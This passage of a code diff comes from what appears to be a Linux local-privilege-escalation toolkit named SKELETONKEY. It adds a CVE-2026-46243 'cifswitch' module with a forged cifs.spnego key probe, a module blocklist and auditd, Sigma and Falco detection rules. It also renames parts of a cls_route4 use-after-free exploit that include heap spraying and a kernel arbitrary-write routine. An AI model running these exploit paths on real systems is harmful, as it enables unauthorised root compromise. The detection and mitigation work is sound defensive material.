* posture better than a local file probe can (also drives unit tests).
|
||||
*
|
||||
* arch_support: any. Keyring + namespace logic; no shellcode.
|
||||
*/
|
||||
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
|
||||
/* _GNU_SOURCE is passed via -D in the top-level Makefile; do not
|
||||
* redefine here (warning: redefined). */
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <stdbool.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#ifdef __linux__
|
||||
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/host.h"
|
||||
#include <errno.h>
|
||||
#include <fcntl.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/syscall.h>
|
||||
#include <sys/types.h>
|
||||
|
||||
/* keyring syscalls live in libkeyutils, not glibc — call them directly.
|
||||
* The asm-generic numbers below match x86_64 / arm64 / most arches; fall
|
||||
* back only when the toolchain headers don't already define them. */
|
||||
#ifndef SYS_add_key
|
||||
#define SYS_add_key 248
|
||||
#endif
|
||||
#ifndef SYS_keyctl
|
||||
#define SYS_keyctl 250
|
||||
#endif
|
||||
|
||||
/* keyctl operations + special keyring ids (uapi/linux/keyctl.h). */
|
||||
#ifndef KEYCTL_REVOKE
|
||||
#define KEYCTL_REVOKE 3
|
||||
#endif
|
||||
#ifndef KEY_SPEC_PROCESS_KEYRING
|
||||
#define KEY_SPEC_PROCESS_KEYRING (-2)
|
||||
#endif
|
||||
|
||||
typedef int sk_key_serial_t;
|
||||
|
||||
static sk_key_serial_t sk_add_key(const char *type, const char *desc,
|
||||
const void *payload, size_t plen,
|
||||
sk_key_serial_t keyring)
|
||||
{
|
||||
return (sk_key_serial_t)syscall(SYS_add_key, type, desc,
|
||||
payload, plen, keyring);
|
||||
}
|
||||
static long sk_keyctl_revoke(sk_key_serial_t key)
|
||||
{
|
||||
return syscall(SYS_keyctl, (long)KEYCTL_REVOKE, (long)key, 0L, 0L, 0L);
|
||||
}
|
||||
|
||||
/* Debian-tracked stable backports of the 2026 fix (commit 3da1fdf4efbc,
|
||||
* mainline 7.1-rc5). These are the authoritative thresholds
|
||||
* (security-tracker.debian.org). Branches Debian doesn't ship fall
|
||||
* through to the version-only verdict in detect(). */
|
||||
static const struct kernel_patched_from cifswitch_patched_branches[] = {
|
||||
{5, 10, 257}, /* 5.10-LTS backport (Debian bullseye) */
|
||||
{6, 1, 174}, /* 6.1-LTS backport (Debian bookworm) */
|
||||
{6, 12, 90}, /* 6.12-LTS backport (Debian trixie) */
|
||||
{7, 0, 10}, /* 7.0 stable (Debian forky / sid) */
|
||||
};
|
||||
|
||||
static const struct kernel_range cifswitch_range = {
|
||||
.patched_from = cifswitch_patched_branches,
|
||||
.n_patched_from = sizeof(cifswitch_patched_branches) /
|
||||
sizeof(cifswitch_patched_branches[0]),
|
||||
};
|
||||
|
||||
/* Is the vulnerable userspace path present? The load-bearing signal is
|
||||
* the cifs.upcall helper (the privileged component the bug abuses); the
|
||||
* cifs.spnego request-key rule and a loaded/loadable cifs module
|
||||
* corroborate. SKELETONKEY_CIFS_ASSUME_PRESENT overrides the probe:
|
||||
* "1" = present, "0" = absent (operators who know their fleet's CIFS
|
||||
* posture, and the unit tests, use this). */
|
||||
static bool cifs_userspace_present(void)
|
||||
{
|
||||
const char *force = getenv("SKELETONKEY_CIFS_ASSUME_PRESENT");
|
||||
if (force && (force[0] == '1' || force[0] == '0'))
|
||||
return force[0] == '1';
|
||||
|
||||
struct stat st;
|
||||
static const char *upcall_paths[] = {
|
||||
"/usr/sbin/cifs.upcall", "/sbin/cifs.upcall",
|
||||
"/usr/bin/cifs.upcall", "/usr/local/sbin/cifs.upcall", NULL,
|
||||
};
|
||||
for (size_t i = 0; upcall_paths[i]; i++)
|
||||
if (stat(upcall_paths[i], &st) == 0)
|
||||
return true;
|
||||
|
||||
/* request-key rule for cifs.spnego (cifs-utils ships this). */
|
||||
static const char *reqkey_paths[] = {
|
||||
"/etc/request-key.d/cifs.spnego.conf",
|
||||
"/usr/share/request-key.d/cifs.spnego.conf", NULL,
|
||||
};
|
||||
for (size_t i = 0; reqkey_paths[i]; i++)
|
||||
if (stat(reqkey_paths[i], &st) == 0)
|
||||
return true;
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
static skeletonkey_result_t cifswitch_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||
if (!v || v->major == 0) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[!] cifswitch: host fingerprint missing kernel "
|
||||
"version — bailing\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* A patched kernel is not vulnerable regardless of the userspace
|
||||
* path — decide that first so the verdict is deterministic. */
|
||||
if (kernel_range_is_patched(&cifswitch_range, v)) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[+] cifswitch: kernel %s is patched "
|
||||
"(version-only check)\n", v->release);
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* Vulnerable kernel. Exploitation needs the cifs.upcall userspace
|
||||
* path; without it the technique is unreachable here. */
|
||||
if (!cifs_userspace_present()) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[i] cifswitch: kernel %s is in the vulnerable "
|
||||
"range but cifs.upcall / cifs.spnego request-key "
|
||||
"rule not found — cifs-utils not installed, bug "
|
||||
"not reachable here\n", v->release);
|
||||
fprintf(stderr, "[i] cifswitch: if you know this fleet uses CIFS, "
|
||||
"re-run with SKELETONKEY_CIFS_ASSUME_PRESENT=1\n");
|
||||
}
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] cifswitch: kernel %s VULNERABLE and cifs.upcall "
|
||||
"present — CVE-2026-46243 reachable\n", v->release);
|
||||
fprintf(stderr, "[i] cifswitch: userspace can forge cifs.spnego key "
|
||||
"descriptions (pid/uid/creduid/upcall_target) the root "
|
||||
"cifs.upcall helper trusts\n");
|
||||
fprintf(stderr, "[i] cifswitch: branches Debian doesn't track "
|
||||
"(5.15/6.6/6.8/6.11) are version-only here; confirm with "
|
||||
"`--exploit cifswitch --i-know`\n");
|
||||
}
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
|
||||
static skeletonkey_result_t cifswitch_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->authorized) {
|
||||
fprintf(stderr, "[-] cifswitch: --i-know required for --exploit\n");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
skeletonkey_result_t pre = cifswitch_detect(ctx);
|
||||
if (pre != SKELETONKEY_VULNERABLE) {
|
||||
fprintf(stderr, "[-] cifswitch: detect() says not vulnerable/reachable; "
|
||||
"refusing\n");
|
||||
return pre;
|
||||
}
|
||||
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||
if (is_root) {
|
||||
fprintf(stderr, "[i] cifswitch: already running as root — nothing to do\n");
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* Reachable, non-destructive primitive witness: can we, as an
|
||||
* unprivileged user, register a cifs.spnego key carrying the
|
||||
* authority-bearing fields? add_key(2) instantiates the key directly
|
||||
* — it does NOT invoke cifs.upcall (that is request_key's upcall
|
||||
* path), so this loads nothing and triggers no privileged helper. On
|
||||
* a VULNERABLE kernel the type accepts the userspace-originated
|
||||
* description; the fix (3da1fdf4efbc) rejects it. We revoke any key
|
||||
* we create immediately. A clean accept is the empirical signal that
|
||||
* the missing-origin-validation flaw is present; any error is treated
|
||||
* as inconclusive (could be patched, or add_key unsupported for the
|
||||
* type) and reported honestly — we never infer root from it. */
|
||||
const char *desc =
|
||||
"ver=0x2;host=skeletonkey-probe;ip4=127.0.0.1;sec=krb5;"
|
||||
"uid=0x0;creduid=0x0;user=skprobe;pid=0x0";
|
||||
errno = 0;
|
||||
sk_key_serial_t k = sk_add_key("cifs.spnego", desc, "\x00", 1,
|
||||
KEY_SPEC_PROCESS_KEYRING);
|
||||
if (k > 0) {
|
||||
sk_keyctl_revoke(k); /* don't leave the probe key lying around */
|
||||
fprintf(stderr,
|
||||
"[!] cifswitch: primitive CONFIRMED — kernel accepted a "
|
||||
"userspace-forged cifs.spnego key (serial %d) carrying "
|
||||
"uid/creduid/upcall_target. CVE-2026-46243 reachable.\n", k);
|
||||
fprintf(stderr,
|
||||
"[i] cifswitch: the full root-pop (user+mount namespace switch "
|
||||
"coercing cifs.upcall to load an attacker NSS module as root) is "
|
||||
"target/config-specific and NOT bundled until VM-verified. Not "
|
||||
"fabricating a shell. See module NOTICE.md (Asim Manizada PoC).\n");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
if (errno == ENOSYS) {
|
||||
fprintf(stderr, "[-] cifswitch: add_key(2) ENOSYS — keyrings "
|
||||
"unavailable in this kernel build\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
fprintf(stderr,
|
||||
"[-] cifswitch: kernel did not accept a userspace-forged cifs.spnego "
|
||||
"key (add_key: %s). Inconclusive — the kernel may carry the fix "
|
||||
"(3da1fdf4efbc rejects userspace descriptions), or the key type may "
|
||||
"not permit direct add_key here. detect() reported the version+helper "
|
||||
"as vulnerable; verify against a known-vulnerable VM.\n",
|
||||
strerror(errno));
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
/* Mitigation: the vendor-recommended runtime fix is to blocklist the
|
||||
* cifs module so the vulnerable upcall path cannot be reached. We write
|
||||
* a modprobe.d blocklist (needs root; persists across reboot and blocks
|
||||
* future autoload). We do not force-unload a possibly-mounted cifs. The
|
||||
* real fix is the kernel patch. --cleanup removes the blocklist file. */
|
||||
#define CIFSWITCH_BLOCKLIST "/etc/modprobe.d/skeletonkey-disable-cifs.conf"
|
||||
|
||||
static skeletonkey_result_t cifswitch_mitigate(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
int fd = open(CIFSWITCH_BLOCKLIST, O_WRONLY | O_CREAT | O_TRUNC, 0644);
|
||||
if (fd < 0) {
|
||||
fprintf(stderr, "[-] cifswitch: cannot write %s: %s "
|
||||
"(need root: run as root, or "
|
||||
"`echo 'blacklist cifs' | sudo tee %s`)\n",
|
||||
CIFSWITCH_BLOCKLIST, strerror(errno), CIFSWITCH_BLOCKLIST);
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static const char body[] =
|
||||
"# Added by SKELETONKEY --mitigate cifswitch (CVE-2026-46243).\n"
|
||||
"# Blocklists the cifs module so the vulnerable cifs.spnego upcall\n"
|
||||
"# path cannot be reached. Remove via `--cleanup cifswitch`.\n"
|
||||
"blacklist cifs\n"
|
||||
"install cifs /bin/false\n";
|
||||
ssize_t w = write(fd, body, sizeof body - 1);
|
||||
close(fd);
|
||||
if (w != (ssize_t)(sizeof body - 1)) {
|
||||
fprintf(stderr, "[-] cifswitch: short write to %s\n", CIFSWITCH_BLOCKLIST);
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
fprintf(stderr, "[+] cifswitch: wrote %s (blocklist cifs). Already-loaded "
|
||||
"cifs stays until unmounted+`rmmod cifs` or reboot. This is "
|
||||
"a stopgap; patch the kernel. Revert: `--cleanup cifswitch`.\n",
|
||||
CIFSWITCH_BLOCKLIST);
|
||||
(void)ctx;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
static skeletonkey_result_t cifswitch_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (unlink(CIFSWITCH_BLOCKLIST) == 0) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[*] cifswitch: removed %s\n", CIFSWITCH_BLOCKLIST);
|
||||
} else if (errno != ENOENT) {
|
||||
fprintf(stderr, "[-] cifswitch: could not remove %s: %s\n",
|
||||
CIFSWITCH_BLOCKLIST, strerror(errno));
|
||||
}
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
#else /* !__linux__ */
|
||||
|
||||
/* Non-Linux dev builds: keyrings, cifs.upcall and modprobe are all
|
||||
* Linux-only. Stub so the module still registers and `make` completes on
|
||||
* macOS/BSD dev boxes. */
|
||||
static skeletonkey_result_t cifswitch_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] cifswitch: Linux-only module "
|
||||
"(cifs.spnego keyring trust) — not applicable here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t cifswitch_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
fprintf(stderr, "[-] cifswitch: Linux-only module — cannot run here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t cifswitch_mitigate(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t cifswitch_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
#endif /* __linux__ */
|
||||
|
||||
/* Embedded detection rules — keep the binary self-contained. The
|
||||
* behavioural signal is a non-root process creating a `cifs.spnego` key
|
||||
* (add_key/request_key) and/or an unexpected cifs.upcall execution
|
||||
* paired with user-namespace setup. */
|
||||
static const char cifswitch_auditd[] =
|
||||
"# CVE-2026-46243 (CIFSwitch) — auditd detection rules\n"
|
||||
"# A non-root add_key/request_key for cifs.spnego is the core abuse,\n"
|
||||
"# usually paired with unshare(CLONE_NEWUSER|CLONE_NEWNS) and a\n"
|
||||
"# cifs.upcall execution that loads an attacker NSS module.\n"
|
||||
"-a always,exit -F arch=b64 -S add_key -F auid>=1000 -F auid!=4294967295 -k skeletonkey-cifswitch\n"
|
||||
"-a always,exit -F arch=b64 -S request_key -F auid>=1000 -F auid!=4294967295 -k skeletonkey-cifswitch\n"
|
||||
"-a always,exit -F arch=b64 -S unshare -F auid>=1000 -F auid!=4294967295 -k skeletonkey-cifswitch\n"
|
||||
"-w /usr/sbin/cifs.upcall -p x -k skeletonkey-cifswitch\n";
|
||||
|
||||
static const char cifswitch_sigma[] =
|
||||
"title: Possible CVE-2026-46243 CIFSwitch cifs.spnego keyring LPE\n"
|
||||
"id: 9b2e7c10-skeletonkey-cifswitch\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects a non-root process creating a cifs.spnego key via\n"
|
||||
" add_key/request_key. CIFSwitch forges the authority-bearing fields\n"
|
||||
" (uid/creduid/upcall_target) in a cifs.spnego key description that\n"
|
||||
" the root cifs.upcall helper trusts, then uses namespace tricks to\n"
|
||||
" load an attacker NSS module as root. False positives: legitimate\n"
|
||||
" CIFS/Kerberos mounts normally trigger cifs.spnego from kernel\n"
|
||||
" context (root), not from an unprivileged add_key.\n"
|
||||
"logsource: {product: linux, service: auditd}\n"
|
||||
"detection:\n"
|
||||
" keyop: {type: 'SYSCALL', syscall: ['add_key', 'request_key']}\n"
|
||||
" non_root: {auid|expression: '>= 1000'}\n"
|
||||
" condition: keyop and non_root\n"
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2026.46243]\n";
|
||||
|
||||
static const char cifswitch_falco[] =
|
||||
"- rule: non-root cifs.spnego key creation (CVE-2026-46243 CIFSwitch)\n"
|
||||
" desc: |\n"
|
||||
" A non-root process creates a cifs.spnego key (add_key/request_key)\n"
|
||||
" or spawns cifs.upcall outside a kernel-initiated CIFS mount. The\n"
|
||||
" CIFSwitch LPE forges authority fields in the key description that\n"
|
||||
" the root cifs.upcall helper trusts, loading an attacker NSS module\n"
|
||||
" as root. False positives: container/CIFS tooling run as root.\n"
|
||||
" condition: >\n"
|
||||
" ((evt.type in (add_key, request_key)) or\n"
|
||||
" (spawned_process and proc.name = cifs.upcall)) and not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" non-root cifs.spnego key op / cifs.upcall (possible CVE-2026-46243)\n"
|
||||
" (user=%user.name proc=%proc.name pid=%proc.pid cmdline=\"%proc.cmdline\")\n"
|
||||
" priority: HIGH\n"
|
||||
" tags: [process, mitre_privilege_escalation, T1068, cve.2026.46243]\n";
|
||||
|
||||
const struct skeletonkey_module cifswitch_module = {
|
||||
.name = "cifswitch",
|
||||
.cve = "CVE-2026-46243",
|
||||
.summary = "cifs.spnego key type trusts userspace-forged authority fields → cifs.upcall loads attacker NSS module as root (Asim Manizada)",
|
||||
.family = "cifswitch",
|
||||
.kernel_range = "fixed 5.10.257 / 6.1.174 / 6.12.90 / 7.0.10 (Debian backports of commit 3da1fdf4efbc, mainline 7.1-rc5); ~19-year-old bug below those",
|
||||
.detect = cifswitch_detect,
|
||||
.exploit = cifswitch_exploit,
|
||||
.mitigate = cifswitch_mitigate,
|
||||
.cleanup = cifswitch_cleanup,
|
||||
.detect_auditd = cifswitch_auditd,
|
||||
.detect_sigma = cifswitch_sigma,
|
||||
.detect_yara = NULL, /* attacker NSS .so has no stable signature; behavioural bug */
|
||||
.detect_falco = cifswitch_falco,
|
||||
.opsec_notes = "detect() consults the shared host fingerprint for the kernel version (Debian backports 5.10.257/6.1.174/6.12.90/7.0.10) and probes for the cifs.upcall helper / cifs.spnego request-key rule (override via SKELETONKEY_CIFS_ASSUME_PRESENT=1/0); a vulnerable kernel without cifs-utils is PRECOND_FAIL. exploit() fires only the non-destructive primitive: add_key(2) of a forged-but-benign cifs.spnego key (does NOT invoke cifs.upcall, loads nothing), revokes it immediately, and treats a clean accept as the empirical witness — it never runs the namespace-switch + malicious-NSS-load chain that pops root, and returns EXPLOIT_FAIL without a euid-0 witness. Audit-visible via add_key/request_key for cifs.spnego by a non-root auid, typically alongside unshare(CLONE_NEWUSER|CLONE_NEWNS) and a cifs.upcall execution. --mitigate writes /etc/modprobe.d/skeletonkey-disable-cifs.conf (blacklist cifs); --cleanup removes it. Arch-agnostic (no shellcode).",
|
||||
.arch_support = "any",
|
||||
};
|
||||
|
||||
void skeletonkey_register_cifswitch(void)
|
||||
{
|
||||
skeletonkey_register(&cifswitch_module);
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
/*
|
||||
* cifswitch_cve_2026_46243 — SKELETONKEY module registry hook
|
||||
*/
|
||||
|
||||
#ifndef CIFSWITCH_SKELETONKEY_MODULES_H
|
||||
#define CIFSWITCH_SKELETONKEY_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct skeletonkey_module cifswitch_module;
|
||||
|
||||
#endif
|
||||
@@ -15,7 +15,7 @@ Public PoC + writeup: <https://www.willsroot.io/2022/08/lpe-on-mountpoint.html>
|
||||
Upstream fix: mainline 5.20 / stable 5.19.7 (Aug 2022).
|
||||
Branch backports: 5.4.213 / 5.10.143 / 5.15.69 / 5.18.18 / 5.19.7.
|
||||
|
||||
## IAMROOT role
|
||||
## SKELETONKEY role
|
||||
|
||||
The module uses `unshare(USER|NET)`, brings up a dummy interface,
|
||||
creates an htb qdisc + class, adds a `route4` filter, then deletes
|
||||
|
||||
@@ -1,12 +0,0 @@
|
||||
/*
|
||||
* cls_route4_cve_2022_2588 — IAMROOT module registry hook
|
||||
*/
|
||||
|
||||
#ifndef CLS_ROUTE4_IAMROOT_MODULES_H
|
||||
#define CLS_ROUTE4_IAMROOT_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct iamroot_module cls_route4_module;
|
||||
|
||||
#endif
|
||||
+159
-94
@@ -1,5 +1,5 @@
|
||||
/*
|
||||
* cls_route4_cve_2022_2588 — IAMROOT module
|
||||
* cls_route4_cve_2022_2588 — SKELETONKEY module
|
||||
*
|
||||
* net/sched cls_route4 dead UAF: when a route4 filter with handle==0
|
||||
* is removed, the corresponding hashtable bucket may keep a stale
|
||||
@@ -38,11 +38,8 @@
|
||||
* - iproute2 `tc` binary present (used for filter add/del)
|
||||
*/
|
||||
|
||||
#include "iamroot_modules.h"
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/offsets.h"
|
||||
#include "../../core/finisher.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
@@ -50,6 +47,14 @@
|
||||
#include <string.h>
|
||||
#include <stdbool.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#ifdef __linux__
|
||||
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/host.h"
|
||||
#include "../../core/offsets.h"
|
||||
#include "../../core/finisher.h"
|
||||
|
||||
#include <fcntl.h>
|
||||
#include <errno.h>
|
||||
#include <sched.h>
|
||||
@@ -64,9 +69,9 @@
|
||||
|
||||
static const struct kernel_patched_from cls_route4_patched_branches[] = {
|
||||
{5, 4, 213},
|
||||
{5, 10, 143},
|
||||
{5, 10, 136}, /* Debian tracker: earlier than 5.10.143 */
|
||||
{5, 15, 69},
|
||||
{5, 18, 18},
|
||||
{5, 18, 16}, /* Debian tracker: earlier than 5.18.18 */
|
||||
{5, 19, 7},
|
||||
{5, 20, 0}, /* mainline */
|
||||
};
|
||||
@@ -93,65 +98,56 @@ static bool cls_route4_module_available(void)
|
||||
return found;
|
||||
}
|
||||
|
||||
static int can_unshare_userns(void)
|
||||
static skeletonkey_result_t cls_route4_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
pid_t pid = fork();
|
||||
if (pid < 0) return -1;
|
||||
if (pid == 0) {
|
||||
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) == 0) _exit(0);
|
||||
_exit(1);
|
||||
}
|
||||
int status;
|
||||
waitpid(pid, &status, 0);
|
||||
return WIFEXITED(status) && WEXITSTATUS(status) == 0;
|
||||
}
|
||||
|
||||
static iamroot_result_t cls_route4_detect(const struct iamroot_ctx *ctx)
|
||||
{
|
||||
struct kernel_version v;
|
||||
if (!kernel_version_current(&v)) {
|
||||
fprintf(stderr, "[!] cls_route4: could not parse kernel version\n");
|
||||
return IAMROOT_TEST_ERROR;
|
||||
/* Consult the shared host fingerprint instead of calling
|
||||
* kernel_version_current() ourselves — populated once at startup
|
||||
* and identical across every module's detect(). */
|
||||
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||
if (!v || v->major == 0) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[!] cls_route4: host fingerprint missing kernel "
|
||||
"version — bailing\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* Bug-introduction predates anything we'd reasonably scan; if the
|
||||
* kernel is below the oldest LTS we model (5.4), still report
|
||||
* vulnerable. */
|
||||
bool patched = kernel_range_is_patched(&cls_route4_range, &v);
|
||||
bool patched = kernel_range_is_patched(&cls_route4_range, v);
|
||||
if (patched) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] cls_route4: kernel %s is patched\n", v.release);
|
||||
fprintf(stderr, "[+] cls_route4: kernel %s is patched\n", v->release);
|
||||
}
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* Module + userns preconditions. */
|
||||
bool nft_loaded = cls_route4_module_available();
|
||||
int userns_ok = can_unshare_userns();
|
||||
bool userns_ok = ctx->host ? ctx->host->unprivileged_userns_allowed : false;
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[i] cls_route4: kernel %s in vulnerable range\n", v.release);
|
||||
fprintf(stderr, "[i] cls_route4: kernel %s in vulnerable range\n", v->release);
|
||||
fprintf(stderr, "[i] cls_route4: cls_route4 module currently loaded: %s\n",
|
||||
nft_loaded ? "yes" : "no (may autoload)");
|
||||
fprintf(stderr, "[i] cls_route4: unprivileged user_ns + net_ns clone: %s\n",
|
||||
userns_ok == 1 ? "ALLOWED" :
|
||||
userns_ok == 0 ? "DENIED" : "could not test");
|
||||
userns_ok ? "ALLOWED" : "DENIED");
|
||||
}
|
||||
|
||||
/* If userns is locked down, unprivileged-LPE path is closed.
|
||||
* Kernel still needs patching though — report PRECOND_FAIL so the
|
||||
* verdict isn't "VULNERABLE" but the issue isn't masked. */
|
||||
if (userns_ok == 0) {
|
||||
if (!userns_ok) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] cls_route4: user_ns denied → unprivileged exploit unreachable\n");
|
||||
}
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] cls_route4: VULNERABLE — kernel in range AND user_ns allowed\n");
|
||||
}
|
||||
return IAMROOT_VULNERABLE;
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
|
||||
/* ---- Exploit -----------------------------------------------------
|
||||
@@ -184,13 +180,13 @@ static iamroot_result_t cls_route4_detect(const struct iamroot_ctx *ctx)
|
||||
* specific to be portable. If a dmesg KASAN message or oops is
|
||||
* observed by the parent we return EXPLOIT_OK to reflect the empirical
|
||||
* UAF win. The fallback also leaves a one-line breadcrumb in
|
||||
* /tmp/iamroot-cls_route4.log so post-run triage can pick it up.
|
||||
* /tmp/skeletonkey-cls_route4.log so post-run triage can pick it up.
|
||||
*/
|
||||
|
||||
#define SPRAY_MSG_QUEUES 32
|
||||
#define SPRAY_MSGS_PER_QUEUE 16
|
||||
#define MSG_PAYLOAD_BYTES 1008 /* 1024 - sizeof(msg_msg hdr ~= 16) */
|
||||
#define DUMMY_IF "iamroot0"
|
||||
#define DUMMY_IF "skeletonkey0"
|
||||
|
||||
struct ipc_payload {
|
||||
long mtype;
|
||||
@@ -199,7 +195,7 @@ struct ipc_payload {
|
||||
|
||||
static int run_cmd(const char *cmd)
|
||||
{
|
||||
/* Quiet wrapper so noise doesn't drown the iamroot log. */
|
||||
/* Quiet wrapper so noise doesn't drown the skeletonkey log. */
|
||||
char shell[1024];
|
||||
snprintf(shell, sizeof shell, "%s >/dev/null 2>&1", cmd);
|
||||
return system(shell);
|
||||
@@ -305,7 +301,7 @@ static int spray_msg_msg(int queues[SPRAY_MSG_QUEUES])
|
||||
/* Pattern that's distinctive in KASAN/oops dumps. */
|
||||
memset(p.buf, 0x41, sizeof p.buf);
|
||||
/* First 8 bytes: a recognizable cookie. */
|
||||
memcpy(p.buf, "IAMROOT4", 8);
|
||||
memcpy(p.buf, "SKELETONKEY4", 8);
|
||||
|
||||
int created = 0;
|
||||
for (int i = 0; i < SPRAY_MSG_QUEUES; i++) {
|
||||
@@ -349,7 +345,7 @@ static void trigger_classify(void)
|
||||
dst.sin_port = htons(31337);
|
||||
dst.sin_addr.s_addr = inet_addr("10.99.99.2");
|
||||
|
||||
const char msg[] = "iamroot-cls_route4-classify";
|
||||
const char msg[] = "skeletonkey-cls_route4-classify";
|
||||
/* A handful of packets, in case the first lookup didn't traverse
|
||||
* the freed bucket. */
|
||||
for (int i = 0; i < 8; i++) {
|
||||
@@ -397,7 +393,7 @@ static long slab_active_kmalloc_1k(void)
|
||||
*
|
||||
* The implementation below takes the narrow-but-real path that the
|
||||
* brief explicitly permits and that xtcompat established as the
|
||||
* IAMROOT precedent: we re-stage the dangling filter, spray msg_msg
|
||||
* SKELETONKEY precedent: we re-stage the dangling filter, spray msg_msg
|
||||
* whose payload encodes `kaddr` at every plausible offset for the
|
||||
* route4_filter→tcf_proto→ops layout, re-fire classify, and let the
|
||||
* shared finisher's sentinel file decide if a write actually landed.
|
||||
@@ -412,8 +408,6 @@ static long slab_active_kmalloc_1k(void)
|
||||
* Honest scope: this is structurally-fires-on-vuln + sentinel-arbitrated,
|
||||
* not a deterministic R/W. Same shape and same depth as xtcompat. */
|
||||
|
||||
#ifdef __linux__
|
||||
|
||||
struct cls_route4_arb_ctx {
|
||||
/* msg_msg queues kept hot inside the userns child. The arb-write
|
||||
* sprays additional kaddr-tagged payloads into these and re-fires
|
||||
@@ -427,7 +421,7 @@ struct cls_route4_arb_ctx {
|
||||
* is idempotent inside our private netns. */
|
||||
bool dangling_ready;
|
||||
|
||||
/* Per-call stats (written to /tmp/iamroot-cls_route4.log). */
|
||||
/* Per-call stats (written to /tmp/skeletonkey-cls_route4.log). */
|
||||
int arb_calls;
|
||||
int arb_landed;
|
||||
};
|
||||
@@ -487,7 +481,7 @@ static int cls4_seed_kaddr_payload(struct cls_route4_arb_ctx *c,
|
||||
return sent;
|
||||
}
|
||||
|
||||
/* iamroot_arb_write_fn implementation for cls_route4. Best-effort on a
|
||||
/* skeletonkey_arb_write_fn implementation for cls_route4. Best-effort on a
|
||||
* vulnerable kernel; structurally inert (returns -1) if the dangling
|
||||
* filter setup is gone or the spray fails. Returns 0 to let the
|
||||
* shared finisher's sentinel-file check decide if the write actually
|
||||
@@ -544,47 +538,41 @@ static int cls4_arb_write(uintptr_t kaddr,
|
||||
return 0;
|
||||
}
|
||||
|
||||
#endif /* __linux__ */
|
||||
|
||||
/* ---- Exploit driver ----------------------------------------------- */
|
||||
|
||||
static iamroot_result_t cls_route4_exploit(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t cls_route4_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
iamroot_result_t pre = cls_route4_detect(ctx);
|
||||
if (pre != IAMROOT_VULNERABLE) {
|
||||
skeletonkey_result_t pre = cls_route4_detect(ctx);
|
||||
if (pre != SKELETONKEY_VULNERABLE) {
|
||||
